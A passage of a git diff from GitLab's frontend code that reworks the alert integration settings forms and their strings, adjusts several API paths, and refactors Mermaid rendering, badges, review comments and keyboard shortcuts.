+ </gl-button>
+ </div>
- <gl-button type="reset" class="gl-ml-3 js-no-auto-disable">{{
- $options.i18n.cancelAndClose
- }}</gl-button>
+ <gl-modal
+ :modal-id="$options.testAlertModalId"
+ :title="$options.i18n.integrationFormSteps.testPayload.modalTitle"
+ :action-primary="$options.primaryProps"
+ :action-secondary="$options.secondaryProps"
+ :action-cancel="$options.cancelProps"
+ @primary="saveAndSendTestAlert"
+ @secondary="sendTestAlert"
+ >
+ {{ $options.i18n.integrationFormSteps.testPayload.modalBody }}
+ </gl-modal>
</gl-tab>
</gl-tabs>
</gl-form>
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue b/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
index 3ffb652e61b..f51c8d7e9f7 100644
--- a/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
+++ b/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
@@ -1,11 +1,11 @@
<script>
-import { GlButton } from '@gitlab/ui';
+import { GlButton, GlAlert } from '@gitlab/ui';
import createHttpIntegrationMutation from 'ee_else_ce/alerts_settings/graphql/mutations/create_http_integration.mutation.graphql';
import updateHttpIntegrationMutation from 'ee_else_ce/alerts_settings/graphql/mutations/update_http_integration.mutation.graphql';
import createFlash, { FLASH_TYPES } from '~/flash';
import { fetchPolicies } from '~/lib/graphql';
-import { s__ } from '~/locale';
-import { typeSet } from '../constants';
+import httpStatusCodes from '~/lib/utils/http_status';
+import { typeSet, i18n, tabIndices } from '../constants';
import createPrometheusIntegrationMutation from '../graphql/mutations/create_prometheus_integration.mutation.graphql';
import destroyHttpIntegrationMutation from '../graphql/mutations/destroy_http_integration.mutation.graphql';
import resetHttpTokenMutation from '../graphql/mutations/reset_http_token.mutation.graphql';
@@ -28,21 +28,12 @@ import {
RESET_INTEGRATION_TOKEN_ERROR,
UPDATE_INTEGRATION_ERROR,
INTEGRATION_PAYLOAD_TEST_ERROR,
+ INTEGRATION_INACTIVE_PAYLOAD_TEST_ERROR,
+ DEFAULT_ERROR,
} from '../utils/error_messages';
import IntegrationsList from './alerts_integrations_list.vue';
import AlertSettingsForm from './alerts_settings_form.vue';
-export const i18n = {
- changesSaved: s__(
- 'AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list.',
- ),
- integrationRemoved: s__('AlertsIntegrations|The integration has been successfully removed.'),
- alertSent: s__(
- 'AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list.',
- ),
- addNewIntegration: s__('AlertSettings|Add new integration'),
-};
-
export default {
typeSet,
i18n,
@@ -50,14 +41,9 @@ export default {
IntegrationsList,
AlertSettingsForm,
GlButton,
+ GlAlert,
},
inject: {
- generic: {
- default: {},
- },
- prometheus: {
- default: {},
- },
projectPath: {
default: '',
},
@@ -124,7 +110,10 @@ export default {
integrations: {},
httpIntegrations: {},
currentIntegration: null,
+ newIntegration: null,
formVisible: false,
+ showSuccessfulCreateAlert: false,
+ tabIndex: tabIndices.configureDetails,
};
},
computed: {
@@ -139,10 +128,10 @@ export default {
isHttp(type) {
return type === typeSet.http;
},
- createNewIntegration({ type, variables }) {
+ createNewIntegration({ type, variables }, testAfterSubmit) {
const { projectPath } = this;
-
const isHttp = this.isHttp(type);
+
this.isUpdating = true;
this.$apollo
.mutate({
@@ -163,16 +152,19 @@ export default {
.then(({ data: { httpIntegrationCreate, prometheusIntegrationCreate } = {} } = {}) => {
const error = httpIntegrationCreate?.errors[0] || prometheusIntegrationCreate?.errors[0];
if (error) {
- return createFlash({ message: error });
+ createFlash({ message: error });
+ return;
}
- const { integration } = httpIntegrationCreate || prometheusIntegrationCreate;
- this.editIntegration(integration);
+ const { integration } = httpIntegrationCreate || prometheusIntegrationCreate;
+ this.newIntegration = integration;
+ this.showSuccessfulCreateAlert = true;
- return createFlash({
- message: this.$options.i18n.changesSaved,
- type: FLASH_TYPES.SUCCESS,
- });
+ if (testAfterSubmit) {
+ this.viewIntegration(this.newIntegration, tabIndices.sendTestAlert);
+ } else {
+ this.setFormVisibility(false);
+ }
})
.catch(() => {
createFlash({ message: ADD_INTEGRATION_ERROR });
@@ -181,9 +173,9 @@ export default {
this.isUpdating = false;
});
},
- updateIntegration({ type, variables }) {
+ updateIntegration({ type, variables }, testAfterSubmit) {
this.isUpdating = true;
- this.$apollo
+ return this.$apollo
.mutate({
mutation: this.isHttp(type)
? updateHttpIntegrationMutation
@@ -196,12 +188,20 @@ export default {
.then(({ data: { httpIntegrationUpdate, prometheusIntegrationUpdate } = {} } = {}) => {
const error = httpIntegrationUpdate?.errors[0] || prometheusIntegrationUpdate?.errors[0];
if (error) {
- return createFlash({ message: error });
+ createFlash({ message: error });
+ return;
}
- this.clearCurrentIntegration({ type });
+ const integration =
+ httpIntegrationUpdate?.integration || prometheusIntegrationUpdate?.integration;
- return createFlash({
+ if (testAfterSubmit) {
+ this.viewIntegration(integration, tabIndices.sendTestAlert);
+ } else {
+ this.clearCurrentIntegration(type);
+ }
+
+ createFlash({
message: this.$options.i18n.changesSaved,
type: FLASH_TYPES.SUCCESS,
});
@@ -261,13 +261,23 @@ export default {
currentIntegration = { ...currentIntegration, ...httpIntegrationMappingData };
}
- this.$apollo.mutate({
- mutation: this.isHttp(type)
- ? updateCurrentHttpIntegrationMutation
- : updateCurrentPrometheusIntegrationMutation,
- variables: currentIntegration,
- });
- this.setFormVisibility(true);
+ this.viewIntegration(currentIntegration, tabIndices.viewCredentials);
+ },
+ viewIntegration(integration, tabIndex) {
+ this.$apollo
+ .mutate({
+ mutation: this.isHttp(integration.type)
+ ? updateCurrentHttpIntegrationMutation
+ : updateCurrentPrometheusIntegrationMutation,
+ variables: integration,
+ })
+ .then(() => {
+ this.setFormVisibility(true);
+ this.tabIndex = tabIndex;
+ })
+ .catch(() => {
+ createFlash({ message: DEFAULT_ERROR });
+ });
},
deleteIntegration({ id, type }) {
const { projectPath } = this;
@@ -319,19 +329,44 @@ export default {
type: FLASH_TYPES.SUCCESS,
});
})
- .catch(() => {
- createFlash({ message: INTEGRATION_PAYLOAD_TEST_ERROR });
+ .catch((error) => {
+ let message = INTEGRATION_PAYLOAD_TEST_ERROR;
+ if (error.response?.status === httpStatusCodes.FORBIDDEN) {
+ message = INTEGRATION_INACTIVE_PAYLOAD_TEST_ERROR;
+ }
+ createFlash({ message });
});
},
+ saveAndTestAlertPayload(integration, payload) {
+ return this.updateIntegration(integration, false).then(() => {
+ this.testAlertPayload(payload);
+ });
+ },
setFormVisibility(visible) {
this.formVisible = visible;
},
+ viewCreatedIntegration() {
+ this.viewIntegration(this.newIntegration, tabIndices.viewCredentials);
+ this.showSuccessfulCreateAlert = false;
+ this.newIntegration = null;
+ },
},
};
</script>
<template>
<div>
+ <gl-alert
+ v-if="showSuccessfulCreateAlert"
+ class="gl-mt-n2"
+ :primary-button-text="$options.i18n.integrationCreated.btnCaption"
+ :title="$options.i18n.integrationCreated.title"
+ @primaryAction="viewCreatedIntegration"
+ @dismiss="showSuccessfulCreateAlert = false"
+ >
+ {{ $options.i18n.integrationCreated.successMsg }}
+ </gl-alert>
+
<integrations-list
:integrations="integrations.list"
:loading="loading"
@@ -353,11 +388,13 @@ export default {
:loading="isUpdating"
:can-add-integration="canAddIntegration"
:alert-fields="alertFields"
+ :tab-index="tabIndex"
@create-new-integration="createNewIntegration"
@update-integration="updateIntegration"
@reset-token="resetToken"
@clear-current-integration="clearCurrentIntegration"
@test-alert-payload="testAlertPayload"
+ @save-and-test-alert-payload="saveAndTestAlertPayload"
/>
</div>
</template>
diff --git a/app/assets/javascripts/alerts_settings/constants.js b/app/assets/javascripts/alerts_settings/constants.js
index ce6cf61b5dd..4a180ed2bc0 100644
--- a/app/assets/javascripts/alerts_settings/constants.js
+++ b/app/assets/javascripts/alerts_settings/constants.js
@@ -10,96 +10,118 @@ export const i18n = {
selectType: {
label: s__('AlertSettings|Select integration type'),
enterprise: s__(
- 'AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations.',
+ 'AlertSettings|Free versions of GitLab are limited to one integration per type. To add more, %{linkStart}upgrade your subscription%{linkEnd}.',
),
},
nameIntegration: {
label: s__('AlertSettings|Name integration'),
placeholder: s__('AlertSettings|Enter integration name'),
activeToggle: __('Active'),
+ error: __("Name can't be blank"),
+ },
+ enableIntegration: {
+ label: s__('AlertSettings|Enable integration'),
+ help: s__(
+ 'AlertSettings|A webhook URL and authorization key is generated for the integration. After you save the integration, both are visible under the “View credentials†tab.',
+ ),
},
setupCredentials: {
help: s__(
- "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint.",
+ 'AlertSettings|Use the URL and authorization key below to configure how an external service sends alerts to GitLab. %{linkStart}How do I configure the endpoint?%{linkEnd}',
),
prometheusHelp: s__(
- 'AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint.',
+ 'AlertSettings|Use the URL and authorization key below to configure how Prometheus sends alerts to GitLab. Review the %{linkStart}GitLab documentation%{linkEnd} to learn how to configure your endpoint.',
),
webhookUrl: s__('AlertSettings|Webhook URL'),
authorizationKey: s__('AlertSettings|Authorization key'),
reset: s__('AlertSettings|Reset Key'),
},
- setSamplePayload: {
- label: s__('AlertSettings|Sample alert payload (optional)'),
- testPayloadHelpHttp: s__(
- 'AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional).',
- ),
- testPayloadHelp: s__(
- 'AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point.',
+ mapFields: {
+ label: s__('AlertSettings|Customize alert payload mapping (optional)'),
+ help: s__(
+ 'AlertSettings|To create a custom mapping, enter an example payload from your monitoring tool, in JSON format. Select the "Parse payload fields" button to continue.',
),
placeholder: s__('AlertSettings|{ "events": [{ "application": "Name of application" }] }'),
- resetHeader: s__('AlertSettings|Reset the mapping'),
- resetBody: s__(
- "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields.",
- ),
- resetOk: s__('AlertSettings|Proceed with editing'),
editPayload: s__('AlertSettings|Edit payload'),
- parsePayload: s__('AlertSettings|Parse payload for custom mapping'),
+ parsePayload: s__('AlertSettings|Parse payload fields'),
payloadParsedSucessMsg: s__(
'AlertSettings|Sample payload has been parsed. You can now map the fields.',
),
+ resetHeader: s__('AlertSettings|Reset the mapping'),
+ resetBody: s__('AlertSettings|If you edit the payload, you must re-map the fields again.'),
+ resetOk: s__('AlertSettings|Proceed with editing'),
+ mapIntro: s__(
+ 'AlertSettings|You can map default GitLab alert fields to your payload keys in the dropdowns below.',
+ ),
},
- mapFields: {
- label: s__('AlertSettings|Customize alert payload mapping (optional)'),
- intro: s__(
- 'AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click "parse payload fields" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration.',
+ testPayload: {
+ help: s__(
+ 'AlertSettings|Enter an example payload from your selected monitoring tool. This supports sending alerts to a GitLab endpoint.',
),
+ placeholder: s__('AlertSettings|{ "events": [{ "application": "Name of application" }] }'),
+ modalTitle: s__('AlertSettings|The form has unsaved changes'),
+ modalBody: s__('AlertSettings|The form has unsaved changes. How would you like to proceed?'),
+ savedAndTest: s__('AlertSettings|Save integration & send'),
+ proceedWithoutSave: s__('AlertSettings|Send without saving'),
+ cancel: __('Cancel'),
},
prometheusFormUrl: {
label: s__('AlertSettings|Prometheus API base URL'),
- help: s__('AlertSettings|URL cannot be blank and must start with http or https'),
+ help: s__('AlertSettings|URL cannot be blank and must start with http: or https:.'),
+ blankUrlError: __('URL cannot be blank'),
+ invalidUrlError: __('URL is invalid'),
},
restKeyInfo: {
label: s__(
- 'AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in.',
+ 'AlertSettings|If you reset the authorization key for this project, you must update the key in every enabled alert source.',
),
},
},
saveIntegration: s__('AlertSettings|Save integration'),
- changesSaved: s__('AlertSettings|Your integration was successfully updated.'),
+ saveAndTestIntegration: s__('AlertSettings|Save & create test alert'),
cancelAndClose: __('Cancel and close'),
- send: s__('AlertSettings|Send'),
+ send: __('Send'),
copy: __('Copy'),
+ integrationCreated: {
+ title: s__('AlertSettings|Integration successfully saved'),
+ successMsg: s__(
+ 'AlertSettings|GitLab has created a URL and authorization key for your integration. You can use them to set up a webhook and authorize your endpoint to send alerts to GitLab.',
+ ),
+ btnCaption: s__('AlertSettings|View URL and authorization key'),
+ },
+ changesSaved: s__('AlertsIntegrations|The integration is saved.'),
+ integrationRemoved: s__('AlertsIntegrations|The integration is deleted.'),
+ alertSent: s__('AlertsIntegrations|The test alert should now be visible in your alerts list.'),
+ addNewIntegration: s__('AlertSettings|Add new integration'),
};
export const integrationSteps = {
selectType: 'SELECT_TYPE',
nameIntegration: 'NAME_INTEGRATION',
- setPrometheusApiUrl: 'SET_PROMETHEUS_API_URL',
- setSamplePayload: 'SET_SAMPLE_PAYLOAD',
+ enableHttpIntegration: 'ENABLE_HTTP_INTEGRATION',
+ enablePrometheusIntegration: 'ENABLE_PROMETHEUS_INTEGRATION',
customizeMapping: 'CUSTOMIZE_MAPPING',
};
export const createStepNumbers = {
[integrationSteps.selectType]: 1,
[integrationSteps.nameIntegration]: 2,
- [integrationSteps.setPrometheusApiUrl]: 2,
- [integrationSteps.setSamplePayload]: 3,
+ [integrationSteps.enableHttpIntegration]: 3,
+ [integrationSteps.enablePrometheusIntegration]: 2,
[integrationSteps.customizeMapping]: 4,
};
export const editStepNumbers = {
- [integrationSteps.selectType]: 1,
[integrationSteps.nameIntegration]: 1,
- [integrationSteps.setPrometheusApiUrl]: null,
- [integrationSteps.setSamplePayload]: 2,
+ [integrationSteps.enableHttpIntegration]: 2,
+ [integrationSteps.enablePrometheusIntegration]: null,
[integrationSteps.customizeMapping]: 3,
};
export const integrationTypes = {
none: { value: '', text: s__('AlertSettings|Select integration type') },
http: { value: 'HTTP', text: s__('AlertSettings|HTTP Endpoint') },
- prometheus: { value: 'PROMETHEUS', text: s__('AlertSettings|External Prometheus') },
+ prometheus: { value: 'PROMETHEUS', text: s__('AlertSettings|Prometheus') },
};
export const typeSet = {
@@ -127,4 +149,10 @@ export const mappingFields = {
fallback: 'fallback',
};
-export const viewCredentialsTabIndex = 1;
+export const tabIndices = {
+ configureDetails: 0,
+ viewCredentials: 1,
+ sendTestAlert: 2,
+};
+
+export const testAlertModalId = 'confirmSendTestAlert';
diff --git a/app/assets/javascripts/alerts_settings/index.js b/app/assets/javascripts/alerts_settings/index.js
index 321af9fedb6..953a867b2b7 100644
--- a/app/assets/javascripts/alerts_settings/index.js
+++ b/app/assets/javascripts/alerts_settings/index.js
@@ -3,12 +3,15 @@ import Vue from 'vue';
import { parseBoolean } from '~/lib/utils/common_utils';
import AlertSettingsWrapper from './components/alerts_settings_wrapper.vue';
import apolloProvider from './graphql';
+import getCurrentIntegrationQuery from './graphql/queries/get_current_integration.query.graphql';
-apolloProvider.clients.defaultClient.cache.writeData({
+apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: getCurrentIntegrationQuery,
data: {
currentIntegration: null,
},
});
+
Vue.use(GlToast);
export default (el) => {
@@ -16,23 +19,7 @@ export default (el) => {
return null;
}
- const {
- prometheusActivated,
- prometheusUrl,
- prometheusAuthorizationKey,
- prometheusFormPath,
- prometheusResetKeyPath,
- prometheusApiUrl,
- activated: activatedStr,
- alertsSetupUrl,
- alertsUsageUrl,
- formPath,
- authorizationKey,
- url,
- projectPath,
- multiIntegrations,
- alertFields,
- } = el.dataset;
+ const { alertsUsageUrl, projectPath, multiIntegrations, alertFields } = el.dataset;
return new Vue({
el,
@@ -40,22 +27,7 @@ export default (el) => {
AlertSettingsWrapper,
},
provide: {
- prometheus: {
- active: parseBoolean(prometheusActivated),
- url: prometheusUrl,
- token: prometheusAuthorizationKey,
- prometheusFormPath,
- prometheusResetKeyPath,
- prometheusApiUrl,
- },
- generic: {
- alertsSetupUrl,
- alertsUsageUrl,
- active: parseBoolean(activatedStr),
- formPath,
- token: authorizationKey,
- url,
- },
+ alertsUsageUrl,
projectPath,
multiIntegrations: parseBoolean(multiIntegrations),
},
diff --git a/app/assets/javascripts/alerts_settings/utils/error_messages.js b/app/assets/javascripts/alerts_settings/utils/error_messages.js
index e380257f983..9a0644b4e22 100644
--- a/app/assets/javascripts/alerts_settings/utils/error_messages.js
+++ b/app/assets/javascripts/alerts_settings/utils/error_messages.js
@@ -1,4 +1,4 @@
-import { s__ } from '~/locale';
+import { s__, __ } from '~/locale';
export const DELETE_INTEGRATION_ERROR = s__(
'AlertsIntegrations|The integration could not be deleted. Please try again.',
@@ -19,3 +19,9 @@ export const RESET_INTEGRATION_TOKEN_ERROR = s__(
export const INTEGRATION_PAYLOAD_TEST_ERROR = s__(
'AlertsIntegrations|Integration payload is invalid.',
);
+
+export const INTEGRATION_INACTIVE_PAYLOAD_TEST_ERROR = s__(
+ 'AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert.',
+);
+
+export const DEFAULT_ERROR = __('Something went wrong on our end.');
diff --git a/app/assets/javascripts/analytics/usage_trends/components/charts_config.js b/app/assets/javascripts/analytics/usage_trends/components/charts_config.js
index 014f823cdc4..ea11ecb0c5b 100644
--- a/app/assets/javascripts/analytics/usage_trends/components/charts_config.js
+++ b/app/assets/javascripts/analytics/usage_trends/components/charts_config.js
@@ -83,7 +83,7 @@ export default [
'UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again.',
),
noDataMessage,
- chartTitle: s__('UsageTrends|Issues & Merge Requests'),
+ chartTitle: s__('UsageTrends|Issues & merge requests'),
yAxisTitle: s__('UsageTrends|Items'),
xAxisTitle: s__('UsageTrends|Month'),
queries: [
diff --git a/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue b/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue
index 0630cca93ae..80ad36d0519 100644
--- a/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue
+++ b/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue
@@ -45,7 +45,7 @@ export default {
projects: s__('UsageTrends|Projects'),
groups: s__('UsageTrends|Groups'),
issues: s__('UsageTrends|Issues'),
- mergeRequests: s__('UsageTrends|Merge Requests'),
+ mergeRequests: s__('UsageTrends|Merge requests'),
pipelines: s__('UsageTrends|Pipelines'),
},
loadCountsError: s__('Could not load usage counts. Please refresh the page to try again.'),
diff --git a/app/assets/javascripts/api.js b/app/assets/javascripts/api.js
index 48005787d81..516235657cb 100644
--- a/app/assets/javascripts/api.js
+++ b/app/assets/javascripts/api.js
@@ -44,7 +44,7 @@ const Api = {
projectMilestonesPath: '/api/:version/projects/:id/milestones',
projectIssuePath: '/api/:version/projects/:id/issues/:issue_iid',
mergeRequestsPath: '/api/:version/merge_requests',
- groupLabelsPath: '/groups/:namespace_path/-/labels',
+ groupLabelsPath: '/api/:version/groups/:namespace_path/labels',
issuableTemplatePath: '/:namespace_path/:project_path/templates/:type/:key',
issuableTemplatesPath: '/:namespace_path/:project_path/templates/:type',
projectTemplatePath: '/api/:version/projects/:id/templates/:type/:key',
@@ -79,6 +79,7 @@ const Api = {
issuePath: '/api/:version/projects/:id/issues/:issue_iid',
tagsPath: '/api/:version/projects/:id/repository/tags',
freezePeriodsPath: '/api/:version/projects/:id/freeze_periods',
+ freezePeriodPath: '/api/:version/projects/:id/freeze_periods/:freeze_period_id',
usageDataIncrementCounterPath: '/api/:version/usage_data/increment_counter',
usageDataIncrementUniqueUsersPath: '/api/:version/usage_data/increment_unique_users',
featureFlagUserLists: '/api/:version/projects/:id/feature_flags_user_lists',
@@ -282,7 +283,7 @@ const Api = {
},
/**
- * Get all Merge Requests for a project, eventually filtering based on
+ * Get all merge requests for a project, eventually filtering based on
* supplied parameters
* @param projectPath
* @param params
@@ -306,7 +307,7 @@ const Api = {
return axios.post(url, options);
},
- // Return Merge Request for project
+ // Return merge request for project
projectMergeRequest(projectPath, mergeRequestId, params = {}) {
const url = Api.buildUrl(Api.projectMergeRequestPath)
.replace(':id', encodeURIComponent(projectPath))
@@ -401,18 +402,29 @@ const Api = {
newLabel(namespacePath, projectPath, data, callback) {
let url;
+ let payload;
if (projectPath) {
url = Api.buildUrl(Api.projectLabelsPath)
.replace(':namespace_path', namespacePath)
.replace(':project_path', projectPath);
+ payload = {
+ label: data,
+ };
} else {
url = Api.buildUrl(Api.groupLabelsPath).replace(':namespace_path', namespacePath);
+
+ // groupLabelsPath uses public API which accepts
+ // `name` and `color` props.
+ payload = {
+ name: data.title,
+ color: data.color,
+ };
}
return axios
.post(url, {
- label: data,
+ ...payload,
})
.then((res) => callback(res.data))
.catch((e) => callback(e.response.data));
@@ -784,7 +796,7 @@ const Api = {
return axios.delete(url, { data });
},
- getRawFile(id, path, params = { ref: 'master' }) {
+ getRawFile(id, path, params = {}) {
const url = Api.buildUrl(this.rawFilePath)
.replace(':id', encodeURIComponent(id))
.replace(':path', encodeURIComponent(path));
@@ -832,6 +844,14 @@ const Api = {
return axios.post(url, freezePeriod);
},
+ updateFreezePeriod(id, freezePeriod = {}) {
+ const url = Api.buildUrl(this.freezePeriodPath)
+ .replace(':id', encodeURIComponent(id))
+ .replace(':freeze_period_id', encodeURIComponent(freezePeriod.id));
+
+ return axios.put(url, freezePeriod);
+ },
+
trackRedisCounterEvent(event) {
if (!gon.features?.usageDataApi) {
return null;
diff --git a/app/assets/javascripts/api/user_api.js b/app/assets/javascripts/api/user_api.js
index 5efc7063efa..27901120c53 100644
--- a/app/assets/javascripts/api/user_api.js
+++ b/app/assets/javascripts/api/user_api.js
@@ -55,12 +55,13 @@ export function getUserProjects(userId, query, options, callback) {
.catch(() => flash(__('Something went wrong while fetching projects')));
}
-export function updateUserStatus({ emoji, message, availability }) {
+export function updateUserStatus({ emoji, message, availability, clearStatusAfter }) {
const url = buildApiUrl(USER_POST_STATUS_PATH);
return axios.put(url, {
emoji,
message,
availability,
+ clear_status_after: clearStatusAfter,
});
}
diff --git a/app/assets/javascripts/awards_handler.js b/app/assets/javascripts/awards_handler.js
index dbdc7e43d2d..3a2f2078e44 100644
--- a/app/assets/javascripts/awards_handler.js
+++ b/app/assets/javascripts/awards_handler.js
@@ -446,7 +446,7 @@ export class AwardsHandler {
createAwardButtonForVotesBlock(votesBlock, emojiName) {
const buttonHtml = `
- <button class="btn award-control js-emoji-btn has-tooltip active" title="You">
+ <button class="gl-button btn btn-default award-control js-emoji-btn has-tooltip active" title="You">
${this.emoji.glEmojiTag(emojiName)}
<span class="award-control-text js-counter">1</span>
</button>
diff --git a/app/assets/javascripts/badges/components/badge.vue b/app/assets/javascripts/badges/components/badge.vue
index 9e5d70075f3..309af368df9 100644
--- a/app/assets/javascripts/badges/components/badge.vue
+++ b/app/assets/javascripts/badges/components/badge.vue
@@ -1,7 +1,11 @@
<script>
import { GlLoadingIcon, GlTooltipDirective, GlIcon, GlButton } from '@gitlab/ui';
+import { s__ } from '~/locale';
export default {
+ i18n: {
+ buttonLabel: s__('Badges|Reload badge image'),
+ },
// name: 'Badge' is a false positive: https://gitlab.com/gitlab-org/frontend/eslint-plugin-i18n/issues/25
// eslint-disable-next-line @gitlab/require-i18n-strings
name: 'Badge',
@@ -94,7 +98,8 @@ export default {
<gl-button
v-show="hasError"
v-gl-tooltip.hover
- :title="s__('Badges|Reload badge image')"
+ :title="$options.i18n.buttonLabel"
+ :aria-label="$options.i18n.buttonLabel"
category="tertiary"
variant="confirm"
type="button"
diff --git a/app/assets/javascripts/batch_comments/components/preview_item.vue b/app/assets/javascripts/batch_comments/components/preview_item.vue
index 756bcfdb3d0..753608cf6f7 100644
--- a/app/assets/javascripts/batch_comments/components/preview_item.vue
+++ b/app/assets/javascripts/batch_comments/components/preview_item.vue
@@ -41,13 +41,17 @@ export default {
titleText() {
const file = this.discussion ? this.discussion.diff_file : this.draft;
- if (file) {
+ if (file?.file_path) {
return file.file_path;
}
- return sprintf(__("%{authorsName}'s thread"), {
- authorsName: this.discussion.notes.find((note) => !note.system).author.name,
- });
+ if (this.discussion) {
+ return sprintf(__("%{authorsName}'s thread"), {
+ authorsName: this.discussion.notes.find((note) => !note.system).author.name,
+ });
+ }
+
+ return __('Your new comment');
},
linePosition() {
if (this.position?.position_type === IMAGE_DIFF_POSITION_TYPE) {
@@ -94,7 +98,7 @@ export default {
<span class="review-preview-item-header">
<gl-icon class="flex-shrink-0" :name="iconName" />
<span class="bold text-nowrap gl-align-items-center">
- <span class="review-preview-item-header-text block-truncated">
+ <span class="review-preview-item-header-text block-truncated gl-ml-2">
{{ titleText }}
</span>
<template v-if="showLinePosition">
diff --git a/app/assets/javascripts/batch_comments/mixins/resolved_status.js b/app/assets/javascripts/batch_comments/mixins/resolved_status.js
index 0b085da1ff9..bec360e3b2e 100644
--- a/app/assets/javascripts/batch_comments/mixins/resolved_status.js
+++ b/app/assets/javascripts/batch_comments/mixins/resolved_status.js
@@ -1,9 +1,7 @@
import { mapGetters } from 'vuex';
import { sprintf, s__, __ } from '~/locale';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
- mixins: [glFeatureFlagsMixin()],
props: {
discussionId: {
type: String,
@@ -52,16 +50,18 @@ export default {
return this.resolveDiscussion ? 'is-resolving-discussion' : 'is-unresolving-discussion';
},
resolveButtonTitle() {
- if (this.isDraft || this.discussionId) return this.resolvedStatusMessage;
+ const escapeParameters = false;
- let title = __('Mark as resolved');
+ if (this.isDraft || this.discussionId) return this.resolvedStatusMessage;
- if (this.glFeatures.removeResolveNote) {
- title = __('Resolve thread');
- }
+ let title = __('Resolve thread');
if (this.resolvedBy) {
- title = sprintf(__('Resolved by %{name}'), { name: this.resolvedBy.name });
+ title = sprintf(
+ __('Resolved by %{name}'),
+ { name: this.resolvedBy.name },
+ escapeParameters,
+ );
}
return title;
diff --git a/app/assets/javascripts/behaviors/deprecated_remove_row_behavior.js b/app/assets/javascripts/behaviors/deprecated_remove_row_behavior.js
new file mode 100644
index 00000000000..5731474e3a4
--- /dev/null
+++ b/app/assets/javascripts/behaviors/deprecated_remove_row_behavior.js
@@ -0,0 +1,15 @@
+import $ from 'jquery';
+
+export default function initDeprecatedRemoveRowBehavior() {
+ $('.js-remove-row').on('ajax:success', function removeRowAjaxSuccessCallback() {
+ $(this).closest('li').addClass('gl-display-none!');
+ });
+
+ $('.js-remove-tr').on('ajax:before', function removeTRAjaxBeforeCallback() {
+ $(this).parent().find('.btn').addClass('disabled');
+ });
+
+ $('.js-remove-tr').on('ajax:success', function removeTRAjaxSuccessCallback() {
+ $(this).closest('tr').addClass('gl-display-none!');
+ });
+}
diff --git a/app/assets/javascripts/behaviors/markdown/render_mermaid.js b/app/assets/javascripts/behaviors/markdown/render_mermaid.js
index 0cb13815c7e..5b5148a850b 100644
--- a/app/assets/javascripts/behaviors/markdown/render_mermaid.js
+++ b/app/assets/javascripts/behaviors/markdown/render_mermaid.js
@@ -1,6 +1,7 @@
import $ from 'jquery';
import { once } from 'lodash';
import { deprecatedCreateFlash as flash } from '~/flash';
+import { darkModeEnabled } from '~/lib/utils/color_utils';
import { __, sprintf } from '~/locale';
// Renders diagrams and flowcharts from text using Mermaid in any element with the
@@ -27,37 +28,34 @@ let renderedMermaidBlocks = 0;
let mermaidModule = {};
+export function initMermaid(mermaid) {
+ let theme = 'neutral';
+
+ if (darkModeEnabled()) {
+ theme = 'dark';
+ }
+
+ mermaid.initialize({
+ // mermaid core options
+ mermaid: {
+ startOnLoad: false,
+ },
+ // mermaidAPI options
+ theme,
+ flowchart: {
+ useMaxWidth: true,
+ htmlLabels: false,
+ },
+ securityLevel: 'strict',
+ });
+
+ return mermaid;
+}
+
function importMermaidModule() {
return import(/* webpackChunkName: 'mermaid' */ 'mermaid')
.then((mermaid) => {
- let theme = 'neutral';
- const ideDarkThemes = ['dark', 'solarized-dark', 'monokai'];
-
- if (
- ideDarkThemes.includes(window.gon?.user_color_scheme) &&
- // if on the Web IDE page
- document.querySelector('.ide')
- ) {
- theme = 'dark';
- }
-
- mermaid.initialize({
- // mermaid core options
- mermaid: {
- startOnLoad: false,
- },
- // mermaidAPI options
- theme,
- flowchart: {
- useMaxWidth: true,
- htmlLabels: false,
- },
- securityLevel: 'strict',
- });
-
- mermaidModule = mermaid;
-
- return mermaid;
+ mermaidModule = initMermaid(mermaid);
})
.catch((err) => {
flash(sprintf(__("Can't load mermaid module: %{err}"), { err }));
diff --git a/app/assets/javascripts/behaviors/shortcuts/keybindings.js b/app/assets/javascripts/behaviors/shortcuts/keybindings.js
index a8fe00d26e6..6abbd7f3243 100644
--- a/app/assets/javascripts/behaviors/shortcuts/keybindings.js
+++ b/app/assets/javascripts/behaviors/shortcuts/keybindings.js
@@ -1,6 +1,6 @@
import { memoize } from 'lodash';
import AccessorUtilities from '~/lib/utils/accessor';
-import { s__ } from '~/locale';
+import { __ } from '~/locale';
const isCustomizable = (command) =>
'customizable' in command ? Boolean(command.customizable) : true;
@@ -33,42 +33,608 @@ export const getCustomizations = memoize(() => {
});
// All available commands
+export const TOGGLE_KEYBOARD_SHORTCUTS_DIALOG = {
+ id: 'globalShortcuts.toggleKeyboardShortcutsDialog',
+ description: __('Toggle keyboard shortcuts help dialog'),
+ defaultKeys: ['?'],
+};
+
+export const GO_TO_YOUR_PROJECTS = {
+ id: 'globalShortcuts.goToYourProjects',
+ description: __('Go to your projects'),
